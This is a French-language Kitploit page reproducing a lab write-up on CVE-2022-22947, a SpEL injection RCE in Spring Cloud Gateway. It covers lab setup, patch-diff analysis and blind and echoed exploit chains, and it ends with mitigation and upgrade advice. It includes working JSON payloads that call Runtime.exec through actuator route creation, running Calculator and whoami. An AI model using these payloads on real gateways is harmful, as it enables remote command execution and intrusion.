Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22947 — Spring-Cloud-Spel-RCE | Kitploit
Outils/GitHubGitHub/4nnns/cve-2022-22947
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHub4nnns/cve-2022-22947

CVE-2022-22947

Spring-Cloud-Spel-RCE

Voir le dépôt
122il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité d'exécution de commande SpringCloud-Gateway (CVE-2022-22947)

Mise en place de l'environnement

Méthode 1 :

En clonant le code d'environnement déjà écrit sur Github.

Dépôt Github

root@kitploit:~
//⚠️ Attention : le chemin de téléchargement du code d'environnement ne doit pas contenir de caractères chinois ni d'espaces
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Ouvrez le paquet de code que nous venons de télécharger avec IDEA : Open ---> chemin du fichier téléchargé ---> Open.

Méthode 2 :

En créant manuellement un projet et en construisant l'environnement.

(1) Nouveau projet, configurez puis cliquez sur Next jusqu'à la fin ;

(2) Analyse de la structure du répertoire du projet :

    1. Le dossier .idea contient les fichiers de configuration par défaut d'IntelliJ IDEA, sans autre utilité. Vous pouvez le supprimer ou le conserver selon vos besoins ;
    1. Le dossier src est principalement la zone de code de l'ensemble du projet, comprenant deux dossiers : java et resource. java est la zone où le code Java du projet est écrit, resource est la zone de configuration de l'ensemble du projet. Par défaut, Spring ajoute la méthode SpringApplication dans java, qui est la méthode de démarrage par défaut de Spring. Dans resource, application.properties est ajouté par défaut, c'est le fichier de configuration du projet Spring ;
    1. Le dossier test est le dossier de test, où vous pouvez tester les méthodes ;
    1. pom.xml est le fichier de configuration Maven, qui inclut les dépendances, configurations, etc. nécessaires au projet ;
    1. .iml est la configuration des dépendances Maven, également ajoutée par défaut ;
    1. Le dossier External Libraries contient tous les paquets de dépendances de ce projet.

(3) Ajoutez les dépendances Maven dans le fichier pom.xml (le dépôt Maven contient tous les détails des dépendances).

    1. Le fichier pom génère par défaut une partie du code XML. Détails ci-dessous :

    1. Importez les dépendances nécessaires au projet. Comme ce projet est un projet SpringBoot, il a besoin de la dépendance spring-boot-starter comme lanceur du serveur. De plus, cette vulnérabilité concerne la passerelle Gateway de SpringCloud, les versions à risque sont inférieures à 3.1.1. Nous utilisons donc la version 3.1.0 pour reproduire la vulnérabilité. Nous avons également besoin de l'interface actuator pour surveiller et accéder à la passerelle, donc nous avons besoin de cette dépendance aussi. Contenu spécifique ci-dessous :

(4) Modifiez le fichier de configuration Spring (chemin : src -> main -> resources -> application.properties), détails ci-dessous :

    1. server.port est le port de démarrage du serveur Spring, par défaut le port 8080. Chacun peut le définir selon ses besoins ;
    1. management.endpoint.gateway.enabled=true active la détection de la passerelle SpringCloud-Gateway via le port actuator, par défaut false. Cette vulnérabilité nécessite de surveiller l'état de la passerelle, donc nous devons le passer manuellement à true pour activer la surveillance ;
    1. management.endpoints.web.exposure.include=gateway sélectionne la passerelle Gateway comme passerelle du serveur. Comme cette vulnérabilité concerne la passerelle Gateway, nous déclarons dans le fichier de configuration que la passerelle choisie est Gateway.

(5) Modifiez la classe Java générée automatiquement après la création du projet (le nom de la classe est généralement nomDuProjet+Application, chemin : src -> main -> java -> com.xxx.xxx -> xxxApplication). Voir l'image ci-dessous pour les détails :

(6) Démarrez le projet. Voir l'image ci-dessous pour les détails :

(7) Accédez à http://localhost:9000. Si la page affichée correspond à la capture d'écran, l'environnement est correctement mis en place.

Audit inverse (rétro-ingénierie)

(1) Examinons d'abord le correctif officiel, diff disponible ici : https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e. Officiellement, dans la fonction org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue, StandardEvaluationContext a été remplacé par GatewayEvaluationContext pour exécuter les expressions SPEL.

D'après l'image ci-dessus, ce correctif modifie principalement la méthode d'analyse des expressions SPEL. La ligne 66 montre une instruction if qui vérifie si l'expression SPEL commence par #{ et se termine par }. La fonction getValue sert à analyser les expressions SPEL. On voit donc que cette vulnérabilité est une vulnérabilité RCE déclenchée par une expression SPEL.

(2) En cliquant sur le champ getValue avec Ctrl + clic gauche, vous remontez jusqu'à l'énumération org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

La méthode default mentionnée ci-dessus montre que la méthode DEFAULT de l'énumération est appelée. Détails de la méthode :

root@kitploit:~
default ShortcutType shortcutType() {
		return ShortcutType.DEFAULT;
	}

Méthode DEFAULT

(3) Remontez jusqu'à org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Cette méthode normalizeProperties() analyse les propriétés des filtres. Elle transmet les propriétés de configuration du filtre à normalize, qui entre finalement dans getValue pour exécuter l'expression SPEL, provoquant une injection d'expression SPEL.

Audit direct (chaîne sans retour d'affichage)

(1) D'après la documentation [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html), les utilisateurs peuvent créer et supprimer des routes dans la passerelle via l'actuator. L'image ci-dessous montre la structure de base de la passerelle.

(2) Dans IDEA, grâce à la fonctionnalité de mappage de l'actuator, vous pouvez trouver les interfaces fonctionnelles telles que la création et la suppression de la passerelle.

(3) En remontant jusqu'à la classe RouteDefinition, on constate qu'elle déclare la structure du contenu de la passerelle.

(4) En remontant jusqu'à la classe FilterDefinition, on voit que Filter a deux paramètres : name et args.

(5) En remontant ce paramètre name, on découvre que dans la méthode AbstractGatewayControllerEndpoint#save(), le name est filtré. La méthode save() est l'interface de création de passerelle. Cette méthode appelle deux paramètres : l'ID de la passerelle (personnalisable) et RouteDefinition. Comme mentionné ci-dessus, cet objet déclare la structure du contenu de la passerelle créée, ce qui déclenche cette vulnérabilité.

(6) En plaçant un point d'arrêt sur la méthode isAvailable() pour un débogage dynamique, voyons quels name peuvent passer ce filtre.

On peut utiliser les name indiqués dans l'image ci-dessus pour contourner la vérification du name.

(7) Grâce à l'analyse ci-dessus, nous pouvons effectuer une attaque RCE en utilisant le paramètre name spécifié et une expression SPEL commençant par #{ et se terminant par }. Payload ci-dessous :

root@kitploit:~
/**
* Explication de l'expression SPEL dans le Payload
* Comme nous devons exécuter une commande via l'expression, nous devons utiliser T(java.lang.Runtime).getRuntime().exec() pour appeler la méthode d'exécution de commande.
* Comme l'expression doit être passée sous forme de chaîne String lors de l'exécution de la commande, nous devons convertir l'expression en objet String par transtypage.
* Comme l'expression doit être passée sous forme de flux d'octets, nous devons appeler la méthode T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
  "id": "peut être modifié arbitrairement (ne doit pas être identique à un id précédemment créé)",
  "filters": [{
    "name": "un nom quelconque dans la capture d'écran ci-dessus ☝️",
    "args": {
      "name": "peut être modifié arbitrairement",
      // cette valeur est la commande pour ouvrir la calculatrice (macOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(8) Chaîne sans retour d'affichage via predicates ([Documentation officielle](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)) : le flux d'exécution SPEL pour predicates est identique à celui pour filters. L'image ci-dessous montre le contenu de la vérification du name pour predicates. Vous pouvez utiliser ces name pour exécuter des commandes. En déboguant dynamiquement, vous obtenez le mécanisme de vérification du name pour predicates. Vous pouvez construire un Payload basé sur l'exemple de la documentation officielle.

root@kitploit:~
/**
* Explication de l'expression SPEL dans le Payload
* Comme nous devons exécuter une commande via l'expression, nous devons utiliser T(java.lang.Runtime).getRuntime().exec() pour appeler la méthode d'exécution de commande.
* Comme l'expression doit être passée sous forme de chaîne String lors de l'exécution de la commande, nous devons convertir l'expression en objet String par transtypage.
* Comme l'expression doit être passée sous forme de flux d'octets, nous devons appeler la méthode T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
  "id": "peut être modifié arbitrairement (ne doit pas être identique à un id précédemment créé)",
  "predicates": [{
    "name": "un nom quelconque dans la capture d'écran ci-dessus ☝️",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

Résumé (chaîne sans retour d'affichage)

Les chaînes filters et predicates sans retour d'affichage existent bien. Tant que les noms des filters et predicates sont valides et contournent la restriction, le RCE est déclenché.

Audit direct (chaîne avec retour d'affichage)

(1) Principe du retour d'affichage : les informations de définition de route stockées par l'utilisateur sont conservées en mémoire. Après le rafraîchissement de la route et l'exécution de l'expression SPEL, le résultat de l'exécution est écrit dans les informations de la route. En consultant l'interface API des informations de route, vous pouvez voir le résultat de l'exécution RCE dans l'affichage des informations de route.

(2) D'après la documentation officielle, pour la chaîne avec retour d'affichage des filters, le name = AddResponseHeader peut déclencher la chaîne avec retour.

root@kitploit:~
/**
* Explication de l'expression SPEL dans le Payload
* Comme nous devons exécuter une commande via l'expression, nous devons utiliser T(java.lang.Runtime).getRuntime().exec() pour appeler la méthode d'exécution de commande.
* Comme l'expression doit être passée sous forme de chaîne String lors de l'exécution de la commande, nous devons convertir l'expression en objet String par transtypage.
* Comme l'expression doit être passée sous forme de flux d'octets, nous devons appeler la méthode T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
  "id": ""peut être modifié arbitrairement (ne doit pas être identique à un id précédemment créé)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(3) Maintenant, nous devons nous demander : en dehors de name = "AddResponseHeader", est-ce que tous les name peuvent être utilisés pour une attaque RCE avec retour d'affichage, comme dans la chaîne sans retour ?

(4) Essayons avec name = "RedirectTo" pour voir si un retour d'affichage est possible.

On constate qu'aucun retour d'affichage n'est possible. Vérifions les logs du serveur ; ils indiquent une exception de pointeur nul.

En consultant la documentation officielle, nous constatons que cela est dû à une incompatibilité entre le paramètre args que nous avons saisi et le filtre. Ce filtre nécessite deux paramètres : status et url. Modifions les paramètres et réessayons.

Nous obtenons toujours une erreur 404, mais le serveur ne renvoie plus une exception de pointeur nul. En regardant le message d'erreur, il semble que spring-cloud-gateway analyse le format de l'URL. Cela signifie que les paramètres correspondants ont des restrictions de type ; par exemple, status doit être un code d'état HTTP (type énuméré).

Nous devons chercher une autre piste : trouver un filtre dont les paramètres sont de type String.

(5) Allez sur le site officiel pour trouver un filtre avec des paramètres de type String ([lien officiel](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory)). Par exemple, le filtre RemoveRequestHeader ne nécessite qu'une chaîne name de type String. Ainsi, nous pouvons construire une expression SPEL comme valeur du paramètre name.

Construisons un Payload pour essayer. On constate qu'un retour d'affichage est possible.

On voit que dans la chaîne avec retour d'affichage des Filters, non seulement le name est filtré, mais les paramètres args ont également certaines restrictions. Cependant, on peut contourner ces restrictions en construisant différents filtres.

(6) La découverte de la chaîne avec retour d'affichage pour les predicates suit la même logique que pour les Filters. En filtrant selon les types et le contenu des paramètres dans la documentation officielle, trouvez un filtre qui permet d'exécuter l'expression SPEL, vous pourrez alors exécuter un RCE avec retour d'affichage.

(7) Pour les predicates, on peut utiliser name = "Cookie" pour exécuter des commandes. Référez-vous aux paramètres de la documentation officielle pour la construction.

Construisons un Payload pour essayer. On constate que le retour d'affichage fonctionne.

La chaîne avec retour d'affichage pour les predicates existe bien. Il y a des restrictions non seulement sur les noms des paramètres args, mais aussi sur les types correspondants aux paramètres. De plus, l'intégrité des paramètres est également limitée.

Résumé (chaîne avec retour d'affichage)

Dans la chaîne avec retour d'affichage, Spring filtre non seulement le name des filtres, mais impose également des restrictions sur les types et le nombre de paramètres args. Vous pouvez déterminer s'il existe une chaîne exploitable en consultant les détails des filtres dans la documentation officielle.

Reproduction de la vulnérabilité

  1. Chaîne sans retour d'affichage

(1) Créez d'abord une passerelle, envoyez une requête POST et construisez un Payload malveillant.

(2) Rafraîchissez la passerelle.

Reproduction 2

(3) Obtenez les informations de la passerelle, envoyez une requête GET pour la passerelle test que nous venons de créer ; la calculatrice s'ouvre.

(4) Supprimez la passerelle.

  1. Chaîne avec retour d'affichage

(1) Créez d'abord une passerelle, envoyez une requête POST et construisez un Payload malveillant.

(2) Rafraîchissez la passerelle.

Reproduction 2

(3) Obtenez les informations de la passerelle, envoyez une requête GET pour la passerelle hacktest que nous venons de créer ; le retour de whoami est réussi.

Reproduction 3

(4) Supprimez la passerelle.

Reproduction 4

Solution de correction

  1. Solution temporaire :

(1) Si vous n'avez pas besoin du point de terminaison Actuator, vous pouvez le désactiver avec la configuration suivante.

root@kitploit:~
management.endpoint.gateway.enabled=false

(2) Si vous avez besoin du point de terminaison Actuator, vous devez le sécuriser avec Spring Security.

  1. Mise à jour officielle :

Les versions sécurisées officielles sont disponibles :

root@kitploit:~
Les utilisateurs de la version 3.1.X doivent passer à la version 3.1.1+

Les utilisateurs de la version 3.0.X doivent passer à la version 3.0.7+
Télécharger l’outil